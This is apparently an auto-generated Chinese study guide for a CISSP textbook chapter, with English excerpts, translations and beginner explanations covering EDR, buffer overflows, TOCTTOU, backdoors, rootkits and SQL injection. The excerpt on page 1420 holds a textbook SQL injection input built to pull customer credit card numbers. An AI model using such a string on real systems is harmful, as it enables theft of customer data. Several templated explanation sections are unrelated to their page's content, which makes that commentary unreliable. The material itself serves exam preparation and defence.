日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 21 / PDF P1415

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

substantial threats are identified, so be sure to register for such notifications as well. Anti-malware software also includes centralized monitoring and control capabilities that allow administrators to enforce configuration settings and monitor alerts from a centralized console. This may be done with a standalone console offered by the anti-malware vendor or as an integrated component of a broader security monitoring and management solution. Integrity Monitoring Other security packages, such as file integrity monitoring tools, also provide a secondary antivirus functionality. These tools are designed to alert administrators to unauthorized file modifications.

They are often used to detect web server defacements and similar attacks, but they also may provide some warning of virus infections if critical system executable files, such as command.com, are modified unexpectedly. These systems work by maintaining a database of hash values for all files stored on the system (see Chapter 6 for a full discussion of the hash functions used to create these values). These archived hash values are then compared to current computed values to detect any files that were modified between the two periods. At the most basic level, a hash is a number used to summarize the contents of a file. As long as the file stays the same, the hash will stay the same.

If the file is modified, even slightly, the hash will change dramatically, indicating that the file has been modified. Unless the action seems explainable, for instance if it happens after the installation of new software, application of an operating system patch, or similar change, sudden changes in executable files may be a sign of malware infection. Advanced Threat Protection Endpoint detection and response (EDR) packages go beyond traditional antimalware protection to help protect endpoints against attack. They combine the anti-malware capabilities found in traditional antivirus packages with advanced techniques designed to better detect threats and take steps to eradicate them.

Some of the specific capabilities of EDR packages are as follows: Analyzing endpoint memory, file system, and network activity for signs of malicious activity

中文直译 / 整理

重大威胁时立即向客户发送警报,因此请务必注册此类通知。 反恶意软件软件还包括集中监控和控制功能,允许管理员通过集中控制台强 制执行配置设置并监控警报。 这可以通过反恶意软件供应商提供的独立控制 台实现,也可以作为更广泛的安全监控和管理解决方案的集成组件来实现。 完整性监控 其他安全套件,例如文件完整性监控工具,也提供辅助的反病毒功能。 这些工 具旨在向管理员发出未经授权的文件修改警报。 它们通常用于检测网站服务器 被篡改及类似攻击,但如果关键系统可执行文件(如command.com)被意外修改, 也可能提供病毒感染的预警。 这些系统通过维护系统上所有存储文件的哈希值 数据库来工作(有关用于生成这些值的哈希函数的完整讨论,请参见第6章)。 这些存档的哈希值随后与当前计算的值进行比较,以检测在两个时间段之间被 修改的任何文件。 在最基础的层面上,哈希是一个用于总结文件内容的数字。 只要文件保持不变,哈希值就不会改变。 如果文件被修改,即使只是轻微改动, 哈希值也会发生显著变化,表明文件已被修改。 除非这种变化有合理解释,例 如发生在安装新软件、应用操作系统补丁或类似变更之后,否则可执行文件的 突然变化可能是恶意软件感染的迹象。

高级威胁防护 端点检测与响应(EDR)软件包超越了传统的反恶意软件保护,帮助保护端点 免受攻击。 它们结合了传统防病毒软件中的反恶意软件功能以及旨在更好检测 威胁并采取措施根除威胁的先进技术。 EDR软件包的一些具体功能如下: 分析端点的内存、文件系统和网络活动,以寻找恶意活动的迹象

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

授权:授权是认证之后决定你能访问什么、能做什么。

NIST:NIST 提供美国常用安全标准、框架和指南。

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

认证成功不等于什么都能做;权限仍要单独授权。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

哈希本身不提供机密性;它主要用于完整性校验。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
授权 授权是认证之后决定你能访问什么、能做什么。
NIST NIST 提供美国常用安全标准、框架和指南。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 22 / PDF P1416

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

Automatically isolating possible malicious activity to contain the potential damage Integration with threat intelligence sources to obtain real-time insight into malicious behavior elsewhere on the Internet Integration with other incident response mechanisms to automate response efforts Many security vendors offer EDR capabilities as a managed service offering where they provide installation, configuration, and monitoring services to reduce the load on customer security teams. These managed EDR offerings are known as managed detection and response (MDR) services.

In addition, user and entity behavior analytics (UEBA) packages pay particular attention to user-based activity on endpoints and other devices, building a profile of each individual's normal activity and then highlighting deviations from that profile that may indicate a potential compromise. UEBA tools differ from EDR capabilities in that UEBA has an analytic focus on the user, whereas EDR has an analytic focus on the endpoint. Next-generation endpoint protection tools often incorporate many of these different capabilities.

The same suite may offer modules that provide traditional anti-malware protection, file integrity monitoring, endpoint detection and response, and user and entity behavior analytics. Application Attacks In Chapter 20, you learned about the importance of using solid software engineering processes when developing operating systems and applications. In the following sections, you'll take a brief look at some of the specific techniques that attackers use to exploit vulnerabilities left behind by sloppy coding practices. Buffer Overflows Buffer overflow vulnerabilities exist when a developer does not properly validate user input to ensure that it is of an appropriate size.

Input that is too large can “overflow” a data structure to affect other data stored in the computer's memory. For example, if a web form has a field that ties to a backend variable that allows 10 characters, but the form processor does not verify the length of the input, the operating system may try to write data past

中文直译 / 整理

自动隔离可能的恶意活动,以限制潜在损害 与威胁情报源集成,以获取互联网其他地方恶意行为的实时洞察 与其他事件响应机制集成,以自动化响应工作 许多安全厂商将EDR功能作为托管服务提供,包括安装、配置和监控服务, 以减轻客户安全团队的负担。 这些托管EDR服务被称为托管检测与响应( MDR)服务。 此外,用户和实体行为分析(UEBA)包特别关注终端和其他设备上的基于用 户的行为,建立每个个体正常活动的档案,然后突出显示可能表明潜在入侵的 偏离该档案的行为。 UEBA工具与EDR功能的不同之处在于,UEBA侧重于用 户的分析,而EDR侧重于终端的分析。 下一代终端保护工具通常整合了这些多种功能。 同一套件可能提供提供传统 反恶意软件保护、文件完整性监控、终端检测与响应以及用户和实体行为分 析的模块。 应用攻击 在 第 20 章中,您了解了在开发操作系统和应用程序时使用稳健的软件工程 流程的重要性。 在接下来的章节中,您将简要了解攻击者如何利用因草率编 码实践遗留的漏洞。 缓冲区溢出 缓冲区溢出 漏洞存在于开发人员未正确验证用户输入以确保其大小适当的情况 下。 过大的输入可能会“溢出”数据结构,影响计算机内存中存储的其他数据。

例如,如果网页表单有一个字段关联到一个允许10个字符的后端变量,但表单 处理器未验证输入长度,操作系统可能会尝试将数据写入超出

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

程序:程序是一步一步怎么做。

事件响应:事件响应是发现、遏制、根除、恢复并复盘安全事件的过程。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

ISO 偏标准和管理体系。

Step-by-step、SOP 常对应 procedure。

准备、检测、遏制、根除、恢复、经验教训是常见顺序。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
程序 程序是一步一步怎么做。
事件响应 事件响应是发现、遏制、根除、恢复并复盘安全事件的过程。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 23 / PDF P1417

第 1417 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

the end of the memory space reserved for that variable, potentially corrupting other data stored in memory. In the worst case, that data can be used to overwrite system commands, allowing an attacker to exploit the buffer overflow vulnerability to execute targeted commands on the server. When creating software, developers must pay special attention to variables that allow user input. Many programming languages do not enforce size limits on variables intrinsically—they rely on the programmer to perform this bounds-checking in the code. This is an inherent vulnerability because many programmers feel parameter checking is an unnecessary burden that slows down the development process.

As a security practitioner, it's your responsibility to ensure that developers in your organization are aware of the risks posed by buffer overflow vulnerabilities and that they take appropriate measures to protect their code against this type of attack. Any time a program variable allows user input, the programmer should take steps to ensure that each of the following conditions is met: The user can't enter a value longer than the size of any buffer that will hold it (for example, a 10-letter word into a 5-letter string variable). The user can't enter an invalid value for the variable types that will hold it (for example, a letter into a numeric variable).

The user can't enter a value that will cause the program to operate outside its specified parameters (for example, answer a “yes” or “no” question with “maybe”). Failure to perform simple checks to make sure these conditions are met can result in a buffer overflow vulnerability that may cause the system to crash or even allow the user to execute shell commands and gain access to the system. Buffer overflow vulnerabilities are especially prevalent in code developed rapidly for the web using Common Gateway Interface (CGI) or other languages that allow unskilled programmers to quickly create interactive web pages.

Most buffer overflow vulnerabilities are mitigated with patches provided by software and operating system vendors, magnifying the importance of keeping systems and software up-to-date. Time of Check to Time of Use Computer systems perform tasks with rigid precision. Computers excel at repeatable tasks. Attackers can develop attacks based on the predictability of

中文直译 / 整理

该变量所保留内存空间的末尾,从而可能破坏内存中存储的其他数据。 在最糟 糕的情况下,这些数据可用于覆盖系统命令,使攻击者能够利用缓冲区溢出漏 洞在服务器上执行目标命令。 在开发软件时,开发人员必须特别关注允许用户输入的变量。 许多编程语言本 身并不对变量的大小施加限制——它们依赖程序员在代码中执行边界检查。 这 是一种固有的漏洞,因为许多程序员认为参数检查是一种不必要的负担,会拖 慢开发进程。 作为安全从业者,你的 责任是确保你所在组织的开发人员了解缓冲区溢出漏洞所带来的风险,并采取 适当措施保护其代码免受此类攻击。 每当程序变量允许用户输入时,程序员都应采取措施确保满足以下每一项条件: 用户输入的值不能超过用于存储它的任何缓冲区的大小(例如,将一个10 个字母的单词输入到一个5个字母的字符串变量中)。 用户输入的值不能是用于存储它的变量类型所不允许的(例如,将一个字母 输入到数值型变量中)。 用户输入的值不能导致程序超出其指定的参数范围(例如,对一个 “是”或“否”问题回答“可能”)。 未能执行简单的检查以确保这些条件得到满足,可能导致缓冲区溢出漏洞,进 而导致系统崩溃,甚至允许用户执行shell命令并获取系统访问权限。

缓冲区溢 出漏洞在使用公共网关接口(CGI)或其他允许非专业程序员快速创建交互式 网页的语言中快速开发的Web代码中尤为普遍。 大多数缓冲区溢出漏洞可通过 软件和操作系统供应商提供的补丁得到缓解,这凸显了保持系统和软件更新的 重要性。 检查时间到使用时间 计算机系统以严格的精确性执行任务。 计算机擅长处理可重复的任务。 攻击者可 以基于其可预测性开发攻击

小白解释

场景先行:你是公司的安全负责人,正在读第 1417 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

程序:程序是一步一步怎么做。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1417 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
程序 程序是一步一步怎么做。
学习单元 24 / PDF P1418

第 1418 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

task execution. The common sequence of events for an algorithm is to check that a resource is available and then access it if you are permitted. The time of check (TOC) is the time at which the subject checks on the status of the object. There may be several decisions to make before returning to the object to access it. When the decision is made to access the object, the procedure accesses it at the time of use (TOU). The difference between the TOC and the TOU is sometimes large enough for an attacker to replace the original object with another object that suits their own needs.

Time of check to time of use (TOCTTOU or TOC/TOU) attacks are often called race conditions because the attacker is racing with the legitimate process to replace the object before it is used. A classic example of a TOCTTOU attack is replacing a data file after its identity has been verified but before data is read. By replacing one authentic data file with another file of the attacker's choosing and design, an attacker can potentially direct the actions of a program in many ways. Of course, the attacker would have to have in-depth knowledge of the program and system under attack.

Likewise, attackers can attempt to take action between two known states when the state of a resource or the entire system changes. Communication disconnects also provide small windows that an attacker might seek to exploit. Whenever a status check of a resource precedes action on the resource, a window of opportunity exists for a potential attack in the brief interval between check and action. These attacks must be addressed in your security policy and in your security model. TOCTTOU attacks, race condition exploits, and communication disconnects are known as state attacks because they attack timing, data flow control, and transition between one system state to another.

Backdoors Backdoors are undocumented command sequences that allow individuals with knowledge of the backdoor to bypass normal access restrictions. They are often used during the development and debugging process to speed up the workflow and avoid forcing developers to continuously authenticate to the system. Occasionally, developers leave these backdoors in the system after it reaches a production state, either by accident or so they can “take a peek” at their system when it is processing sensitive data to which they should not have access. In addition to backdoors planted by developers, many types of

中文直译 / 整理

任务执行。 算法的常见事件序列是检查资源是否可用,然后在获得许可后访问 它。 检查时间(TOC)是主体检查对象状态的时间。 在返回对象进行访问之前, 可能需要做出多个决策。 当决定访问对象时,程序会在使用时间(TOU)访问 它。 TOC与TOU之间的差异有时足够大,使攻击者能够将原始对象替换为符合 其自身需求的另一个对象。 检查时间到使用时间(TOCTTOU或TOC/TOU)攻 击通常被称为竞争条件,因为攻击者正在与合法进程竞速,以在对象被使用之 前替换它。 TOCTTOU攻击的一个经典示例是在验证数据文件的身份之后、读取数据之 前替换该文件。 通过用攻击者选择并设计的另一个文件替换一个真实的数据 文件,攻击者可能以多种方式引导程序的行为。 当然,攻击者必须对被攻击 的程序和系统有深入的了解。 同样,攻击者可以在资源或整个系统状态发生变化时,尝试在两个已知状态之 间采取行动。 通信断开也会为攻击者提供可利用的小窗口。 每当对资源的状态 检查先于对该资源的操作时,在检查与操作之间的短暂间隔中就会存在潜在攻 击的机会。 这些攻击必须在您的安全策略和安全模型中加以解决。

T OCTTOU攻击、竞争条件利用和通信断开被称为状态攻击,因为它们攻击的是 时间、数据流控制以及系统状态之间的转换。 后门 后门是未经记录的命令序列,允许知晓后门的人绕过正常的访问限制。 它们通 常在开发和调试过程中使用,以加快工作流程并避免迫使开发人员不断向系统 进行身份验证。 有时,开发人员在系统进入生产状态后仍会保留这些后门,要 么是无意中遗留,要么是为了在系统处理他们本无权访问的敏感数据时“窥探” 一下自己的系统。 除了开发人员植入的后门外,许多类型的

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

政策:政策是高层原则,说明必须遵守什么。

程序:程序是一步一步怎么做。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1418 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Policy 高层、强制、稳定;Procedure 具体步骤。

Step-by-step、SOP 常对应 procedure。

网络题先定位层次,再判断协议、设备或攻击位置。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
政策 政策是高层原则,说明必须遵守什么。
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
身份 身份是主体在系统中的标识。
学习单元 25 / PDF P1419

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

malicious code create backdoors on infected systems that allow the developers of the malicious code to remotely access infected systems. No matter how they arise on a system, the undocumented nature of backdoors makes them a significant threat to the security of any system that contains them. Individuals with knowledge of the backdoor may use it to access the system and retrieve confidential information, monitor user activity, or engage in other nefarious acts.

Privilege Escalation and Rootkits Once attackers gain a foothold on a system, they often quickly move on to a second objective—expanding their access from the normal user account they may have compromised to more comprehensive, administrative access. They do this by engaging in privilege escalation attacks. One of the common ways that attackers wage privilege escalation attacks is through the use of rootkits. Rootkits are freely available on the Internet and exploit known vulnerabilities in various operating systems.

Attackers often obtain access to a standard system user account through the use of a password attack or social engineering and then use a rootkit to increase their access to the root (or administrator) level. This increase in access from standard to administrative privileges is known as a privilege escalation attack. Privilege escalation attacks may also be waged using fileless malware, malicious scripts, or other attack vectors. You'll find more coverage of these attacks in Chapter 14, “Controlling and Monitoring Access.” Administrators can take one simple precaution to protect their systems against privilege escalation attacks, and it's nothing new.

Administrators must keep themselves informed about new security patches released for operating systems used in their environment and apply these corrective measures consistently. This straightforward step will fortify a network against almost all rootkit attacks as well as a large number of other potential vulnerabilities. Injection Vulnerabilities Injection vulnerabilities are among the primary mechanisms that attackers use to break through a web application and gain access to the systems supporting that application. These vulnerabilities allow an attacker to supply

中文直译 / 整理

恶意代码会在受感染的系统上创建后门,使恶意代码的开发者能够远程访 问这些受感染的系统。 无论后门如何在系统中出现,其未记录的特性都使其成为包含它的任何系统安 全的重大威胁。 知晓后门的人员可能利用它来访问系统,获取机密信息,监控 用户活动,或从事其他恶意行为。 权限提升与Rootkit 一旦攻击者在系统中站稳脚跟,他们通常会迅速转向第二个目标——将其访问 权限从可能已被攻陷的普通用户账户扩展为更全面的管理员权限。 他们通过进 行权限提升攻击来实现这一点。 攻击者实施权限提升攻击的常见方式之一是使用Rootkit。 Rootkit在互联网上 免费提供,并利用各种操作系统的已知漏洞。 攻击者通常通过密码攻击或社会 工程学获取标准系统用户账户的访问权限,然后使用Rootkit将其权限提升至根 (或管理员)级别。 这种从标准权限到管理员权限的提升被称为权限提升攻击。 权限提升攻击也可能通过无文件恶意软件、恶意脚本或其他攻击向量进行。 您 将在第14章“控制和监控访问”中找到更多关于这些攻击的介绍。 管理员可以采取一项简单的预防措施来保护其系统免受权限提升攻击,这并非 新方法。

管理员必须及时了解其环境中所使用操作系统发布的最新安全补丁, 并一致地应用这些修复措施。 这一简单步骤将增强网络对几乎所有根套件攻击 以及大量其他潜在漏洞的防护能力。 注入漏洞 注入漏洞 是攻击者用来突破Web应用程序并访问支撑该应用程序的系统的最 主要手段之一。 这些漏洞允许攻击者将

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

NIST:NIST 提供美国常用安全标准、框架和指南。

标准:标准给出必须满足的最低要求。

程序:程序是一步一步怎么做。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
NIST NIST 提供美国常用安全标准、框架和指南。
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
注入攻击 注入攻击把恶意输入当命令或查询执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 26 / PDF P1420

第 1420 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

some type of code to the web application as input and trick the web server into either executing that code or supplying it to another server to execute. There are a wide range of potential injection attacks. Typically, an injection attack is named after the type of backend system it takes advantage of or the type of payload delivered (injected) onto the target. Examples include SQL injection, Lightweight Directory Access Protocol (LDAP), XML injection, command injection, HTML injection, code injection, and file injection. SQL Injection Attacks Web applications often receive input from users and use it to compose a database query that provides results that are sent back to a user.

For example, consider the search function on an ecommerce site. If a user enters orange tiger pillows in the search box, the web server needs to know what products in the catalog might match this search term. It might send a request to the backend database server that looks something like this: SELECT ItemName, ItemDescription, ItemPrice FROM Products WHERE ItemName LIKE '%orange%' AND ItemName LIKE '%tiger%' AND ItemName LIKE '%pillow%'; This command retrieves a list of items that can be included in the results returned to the end user.

In a SQL injection attack, the attacker might send a very unusual-looking request to the web server, perhaps searching for this: orange tiger pillow'; SELECT CustomerName, CreditCardNumber FROM Orders; -- If the web server simply passes this request along to the database server, it would do this (with a little reformatting for ease of viewing): SELECT ItemName, ItemDescription, ItemPrice FROM Products WHERE ItemName LIKE '%orange%' AND ItemName LIKE '%tiger%' AND ItemName LIKE '%pillow'; SELECT CustomerName, CreditCardNumber FROM Orders; --%' This command, if successful, would run two different SQL queries (separated by the semicolon).

The first would retrieve the product information, and the second would retrieve a listing of customer names and credit card numbers.

中文直译 / 整理

某种类型的代码作为输入提供给Web应用程序,并欺骗Web服务器执行该代码 或将代码提供给另一台服务器执行。 存在多种潜在的注入攻击。 通常,注入攻击以其利用的后端系统类型或注入到 目标的有效载荷类型命名。 示例包括SQL注入、轻量级目录访问协议( LDAP)注入、XML注入、命令注入、HTML注入、代码注入和文件注入。 SQL注入攻击 Web应用程序通常接收用户输入,并使用它来构建数据库查询,以返回结果给 用户。 例如,考虑一个电子商务网站的搜索功能。 如果用户在搜索框中输入 orangetiger pillows,Web服务器需要知道目录中哪些产品可能与此搜索词 匹配。 它可能会向后端数据库服务器发送如下形式的请求: 选择 ItemName、ItemDescription、ItemPrice 从 Products 中,其中 ItemName 包含 'orange' 且 ItemName 包含 'tiger' 且 ItemName 包含 'pillow'; 此命令检索可包含在返回给最终用户的结果中的项目列表。

在SQL注入攻击中,攻 击者可能会向Web服务器发送一个看起来非常异常的请求,例如搜索以下内容: 橙色老虎枕头'; SELECT CustomerName, CreditCardNumber FROM Orders; ‑‑ 如果Web服务器只是将此请求直接传递给数据库服务器,它会这样做(为便于 查看进行了少量格式调整): SELECT ItemName, ItemDescription, ItemPrice FROM Products WHERE ItemName LIKE '%orange%' AND ItemName LIKE '%tiger%' AND ItemName LIKE ' %pillow'; SELECT CustomerName, CreditCardNumber FROM Orders; ‑‑%' 如果此命令成功,将执行两个不同的SQL查询(由分号分隔)。 第一个查询将 检索产品信息,第二个查询将检索客户姓名和信用卡号的列表。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

程序:程序是一步一步怎么做。

日志:日志记录系统和用户活动,用于监控、审计和调查。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1420 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

日志要保护完整性、时间同步和访问控制。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
程序 程序是一步一步怎么做。
日志 日志记录系统和用户活动,用于监控、审计和调查。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 27 / PDF P1421

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

This is just one example of using a SQL injection attack to violate confidentiality restrictions. SQL injection attacks may also be used to execute commands that modify records, drop tables, or perform other actions that violate the integrity and/or availability of databases. In the basic SQL injection attack we just described, the attacker is able to provide input to the web application and then monitor the output of that application to see the result. Although that is the ideal situation for an attacker, many web applications with SQL injection flaws do not provide the attacker with a means to directly view the results of the attack.

However, that does not mean the attack is impossible; it just makes it more difficult. Attackers use a technique called blind SQL injection to conduct an attack even when they don't have the ability to view the results directly. We'll discuss two forms of blind SQL injection: content-based and timing-based. Blind Content-Based SQL Injection In a content-based blind SQL injection attack, the perpetrator sends input to the web application that tests whether the application is interpreting injected code before attempting to carry out an attack. For example, consider a web application that asks a user to enter an account number.

A simple version of this web page might look like the one shown in Figure 21.1. FIGURE 21.1 Account number input page

中文直译 / 整理

这只是使用SQL注入攻击违反保密限制的一个示例。 SQL注入攻击还可用于执 行修改记录、删除表或执行其他破坏数据库完整性/可用性的操作。 在我们刚刚描述的基本SQL注入攻击中,攻击者能够向Web应用程序提供输入, 然后监控该应用程序的输出以查看结果。 尽管这对攻击者来说是最理想的情况, 但许多存在SQL注入漏洞的Web应用程序并不会为攻击者提供直接查看攻击结 果的手段。 然而,这并不意味着攻击不可能实现,只是使其更加困难。 攻击者 使用一种称为盲注SQL注入的技术,在无法直接查看结果的情况下仍能实施攻 击。 我们将讨论两种盲注SQL注入形式:基于内容的和基于时间的。 盲内容型SQL注入 在基于内容的盲SQL注入攻击中,攻击者向Web应用程序发送输入,以测试应 用程序是否在尝试实施攻击前解释了注入的代码。 例如,考虑一个要求用户输 入账户号码的Web应用程序。 这个网页的一个简单版本可能如下图所示图 21.1。 图21.1账户号码输入页面

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

程序:程序是一步一步怎么做。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

